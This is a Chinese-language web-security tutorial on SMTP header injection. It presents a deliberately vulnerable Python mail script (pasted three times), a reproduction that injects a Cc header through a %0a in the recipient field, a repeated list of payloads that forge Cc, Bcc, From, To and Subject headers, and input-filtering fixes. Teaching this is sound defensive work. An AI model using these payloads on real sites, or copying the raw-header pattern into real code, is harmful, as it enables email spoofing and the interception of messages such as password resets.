【WEB安全】SMTP注入

漏洞介绍

SMTP是用于发送和传递电子邮件的协议，定义了邮件的传输方式和交流规则。

SMTP注入是指可通过添加/控制邮件头的方式，篡改邮件的发送者、抄送、密送等字段，从而达到欺骗、窃取邮件信息或劫持邮件传递的目的。

既然归属到注入类，说明也是对用户输入未严格过滤，从而达到非预期的结果。

邮件头介绍

常见邮件头代表的含义如下：

为了尽可能的获取实用的邮件头，使用抄送+密送的方式发一封邮件，查看原文，就可以看到发送的实际内容。

漏洞复现

漏洞环境

假设存在一个注册功能点，我们输入邮箱后，网站给我们发送激活链接进行注册。

其中，发送邮件使用的代码为：

import base64
import smtplib
from urllib.parse import unquote
from email.header import Header
from email.message import Message
def send_email(from_addr, to_addr, subject, mail_text, smtp_host, smtp_port, smtp_username, smtp_password):
    email_string = f"""MIME-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: base64
From: {from_addr}
To: {to_addr}
Subject: =?utf-8?b?{base64.b64encode(subject.encode()).decode()}?=
{base64.b64encode(mail_text.encode()).decode()}
    """
    print(f"\n{email_string}\n")
    try:
        smtp_obj = smtplib.SMTP_SSL(smtp_host, smtp_port)
        smtp_obj.login(smtp_username, smtp_password)
        smtp_obj.sendmail(from_addr, to_addr, email_string)
        smtp_obj.quit()
        print('邮件发送成功')
    except smtplib.SMTPException as e:
        print('邮件发送失败:', str(e))
if __name__ == '__main__':
    # to_addr = 'ntoouuzovrlfy@baybabes.com'
    to_addr = input("收件箱地址: ")
    to_addr = unquote(to_addr)
    # 使用示例
    from_addr = 'xxx@163.com'
    subject = '注册邀请'
    mail_text = '您的注册地址为:xxxxx'
    smtp_host = 'smtp.163.com'
    smtp_port = 465
    smtp_username = 'username'
    smtp_password = 'password'
    send_email(from_addr, to_addr, subject, mail_text, smtp_host, smtp_port, smtp_username, smtp_password)
import base64
import smtplib
from urllib.parse import unquote
from email.header import Header
from email.message import Message

def send_email(from_addr, to_addr, subject, mail_text, smtp_host, smtp_port, smtp_username, smtp_password):
    email_string = f"""MIME-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: base64
From: {from_addr}
To: {to_addr}
Subject: =?utf-8?b?{base64.b64encode(subject.encode()).decode()}?=

{base64.b64encode(mail_text.encode()).decode()}
    """
    print(f"\n{email_string}\n")
    try:
        smtp_obj = smtplib.SMTP_SSL(smtp_host, smtp_port)
        smtp_obj.login(smtp_username, smtp_password)
        smtp_obj.sendmail(from_addr, to_addr, email_string)
        smtp_obj.quit()
        print('邮件发送成功')
    except smtplib.SMTPException as e:
        print('邮件发送失败:', str(e))

if __name__ == '__main__':
    # to_addr = 'ntoouuzovrlfy@baybabes.com'
    to_addr = input("收件箱地址: ")
    to_addr = unquote(to_addr)
    # 使用示例
    from_addr = 'xxx@163.com'
    subject = '注册邀请'
    mail_text = '您的注册地址为:xxxxx'
    smtp_host = 'smtp.163.com'
    smtp_port = 465
    smtp_username = 'username'
    smtp_password = 'password'

    send_email(from_addr, to_addr, subject, mail_text, smtp_host, smtp_port, smtp_username, smtp_password)
import base64
import smtplib
from urllib.parse import unquote
from email.header import Header
from email.message import Message

def send_email(from_addr, to_addr, subject, mail_text, smtp_host, smtp_port, smtp_username, smtp_password):
    email_string = f"""MIME-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: base64
From: {from_addr}
To: {to_addr}
Subject: =?utf-8?b?{base64.b64encode(subject.encode()).decode()}?=

{base64.b64encode(mail_text.encode()).decode()}
    """
    print(f"\n{email_string}\n")
    try:
        smtp_obj = smtplib.SMTP_SSL(smtp_host, smtp_port)
        smtp_obj.login(smtp_username, smtp_password)
        smtp_obj.sendmail(from_addr, to_addr, email_string)
        smtp_obj.quit()
        print('邮件发送成功')
    except smtplib.SMTPException as e:
        print('邮件发送失败:', str(e))

if __name__ == '__main__':
    # to_addr = 'ntoouuzovrlfy@baybabes.com'
    to_addr = input("收件箱地址: ")
    to_addr = unquote(to_addr)
    # 使用示例
    from_addr = 'xxx@163.com'
    subject = '注册邀请'
    mail_text = '您的注册地址为:xxxxx'
    smtp_host = 'smtp.163.com'
    smtp_port = 465
    smtp_username = 'username'
    smtp_password = 'password'

    send_email(from_addr, to_addr, subject, mail_text, smtp_host, smtp_port, smtp_username, smtp_password)

正常发送结果如下：

复现过程

上方代码可见to_addr为收件人可控，我们将其输入为ntoouuzovrlfy@baybabes.com%0aCc: rocaced977@soremap.com并发送

可见成功注入了SMTP邮件头Cc（抄送），此时注入的恶意邮箱rocaced977@soremap.com也将收到和ntoouuzovrlfy@baybabes.com一样的邮件。

漏洞常见点

所有和发送邮件有关的功能点都可以进行尝试，如邮箱注册、邮箱找回密码等…

常见payload:

就是通过各种方式注入SMTP header头中。

rec@domain.com%0ACc:recipient@domain.com%0ABcc:recipient1@domain.com
admin@domain.com%0AFrom:eval@domain.com
From:sender@domain.com%0ATo:attacker@domain.com
From:sender@domain.com%0ASubject:This’s%20Fake%20Subject
rec@domain.com%0ACc:recipient@domain.com%0ABcc:recipient1@domain.com
admin@domain.com%0AFrom:eval@domain.com
From:sender@domain.com%0ATo:attacker@domain.com
From:sender@domain.com%0ASubject:This’s%20Fake%20Subject
rec@domain.com%0ACc:recipient@domain.com%0ABcc:recipient1@domain.com
admin@domain.com%0AFrom:eval@domain.com
From:sender@domain.com%0ATo:attacker@domain.com
From:sender@domain.com%0ASubject:This’s%20Fake%20Subject

修复建议

1. 输入过滤，可以使用正则表达式^[\w\.-]+@[\w\.-]+\.\w+$来过滤用用户提交的邮箱。
2. 使用安全的组件和库，如Python的smtplib、Java的javax.mail、PHP的PHPMailer等，尽可能的通过模块内置的一些函数来设定SMTP header头。